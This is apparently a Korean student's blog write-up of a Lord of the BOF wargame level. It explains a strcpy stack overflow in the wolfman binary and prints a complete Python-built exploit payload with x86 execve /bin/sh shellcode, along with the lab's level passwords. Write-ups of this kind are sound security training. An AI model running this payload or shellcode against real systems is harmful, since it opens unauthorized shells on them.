yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 5번 풀이 (orc) 본문

wargame 풀이/LOB

LOB 5번 풀이 (orc)

yehey 2020. 11. 6. 00:56

 

id: orc
pw: cantata

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

    • strcpy의 BOF 취약점 이용해서 공격
    • egghunter 코드 삽입 (환경변수를 이용한 공격 불가능)
    • bufferhunter 코드 삽입 (buffer 내에 쉘코드 삽입해도 0으로 초기화 됨, 사용 불가)
    • 전달하려는 문자열의 48번째는 "\xbf"와 같아야함 (같지 않으면 강제종료)
    • buffer에 담긴 내용 출력

 

wolfman을 디스어셈블 하면 다음과 같다.

main+185 에서 strcpy의 인자로 ebp-40의 주소를 넣어줌

main+197 에서 printf의 인자로 ebp-40의 주소를 넣어줌

main+218 에서 memset의 인자로 ebp-40의 주소를 넣어줌

=> ebp-40이 buffer의 시작주소

 

main+36 에서 ebp-44에 0을 넣어줌

=> ebp-44가 i의 주소

 

스택구조를 그려보면 다음과 같다

우리는 egghunter와 bufferhunter 때문에 buffer 공간과 환경변수는 사용할 수 없다. 그래서 쉘 코드를 저장할 다른 공간을 찾아야 한다. 우리는 buffer에서 값을 채워 ebp를 넘을 수는 있지만 buffer 보다 아래 있는 공간에는 값을 채울 수 없다.

따라서 ret 위의 공간에 NOP와 쉘 코드를 채워줄 것이다.

이전처럼 tmp 디렉토리를 만들고 wolfman을 복사해서 ret 주소를 알아내보았는데, 막상 실행해보니 segmentation fault 가 일어났다. (ret가 유효하지 않은 주소일 때 발생하는 오류라고 생각하면 된다. )

segmentation fault가 발생하는 이유로는 gdb에서 실행했을 때와 프로그램이 실제로 실행될 때 프로그램이 할당받는 메모리 주소에 차이가 발생할 수도 있다는 이유였다.

그래서 프로그램이 실제로 실행될 때 buffer 주소를 얻기 위해 기존 wolfman.c 코드를 복사, 약간의 수정을 거쳐 wolfman2.c 코드를 만들었다.

 

wolfman2.c의 코드는 다음과 같다.

/*
        wolfman2.c code
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%p\n", buffer);		//buffer 값이 아닌 주소를 출력하도록 변경

        // buffer hunter
        memset(buffer, 0, 40);
}

 

위의 코드를 컴파일 후 실행해보았다. 실행할 때 조건은 기존 wolfman과 같다. 44바이트를 임의로 채워주고 48번째가 "\xbf"여야하기 때문에 45번째 부터 "\xbf"로 채워주었다. ret 뒤에는 쉘 코드도 넣어주었으나 현재 단계에서는 사실 필요없음.

(payload 와 비슷하게 만들기 위해 붙임) 

 

인자를 전달해주고 실행했더니 0xbffffa60 이라는 주소가 출력되었다. 이는 buffer의 시작주소다!

우리가 ret에 넣어야하는 주소는 buffer에서 48바이트 떨어진 buffer+49 의 주소이다! 

0xbffffa60+0x31 = 0xbffffa91 이 ret 위의 주소를 가리킨다.

따라서 ret에 0xbffffa91을 넣어주면 쉘 코드가 실행될 것이다. 

 

이제 wolfman을 공격해보자! 

44바이트를 의미없는 값으로 채워주고, ret에는 ret 바로 위의 주소를 넣어주고 ret 위에는 NOP와 쉘 코드를 넣어주자

payload: ./wolfman `python -c 'print "a"*44+"\x91\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

(혹시 몰라 NOP를 100바이트 정도 채우고 쉘 코드를 넣어주었다. NOP slide를 위해)

 

bash 쉘이 정상적으로 띄워졌고, wolfman의 권한을 얻어 password를 얻을 수 있었다.

 

wolfman의 pw: "love eyuna"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 7번 풀이 (darkelf)  (0) 2020.11.10
LOB 6번 풀이 (wolfman)  (0) 2020.11.07
LOB 4번 풀이 (goblin)  (0) 2020.11.02
LOB 3번 풀이 (cobolt)  (0) 2020.10.29
LOB 2번 풀이 (gremlin)  (0) 2020.10.29
Comments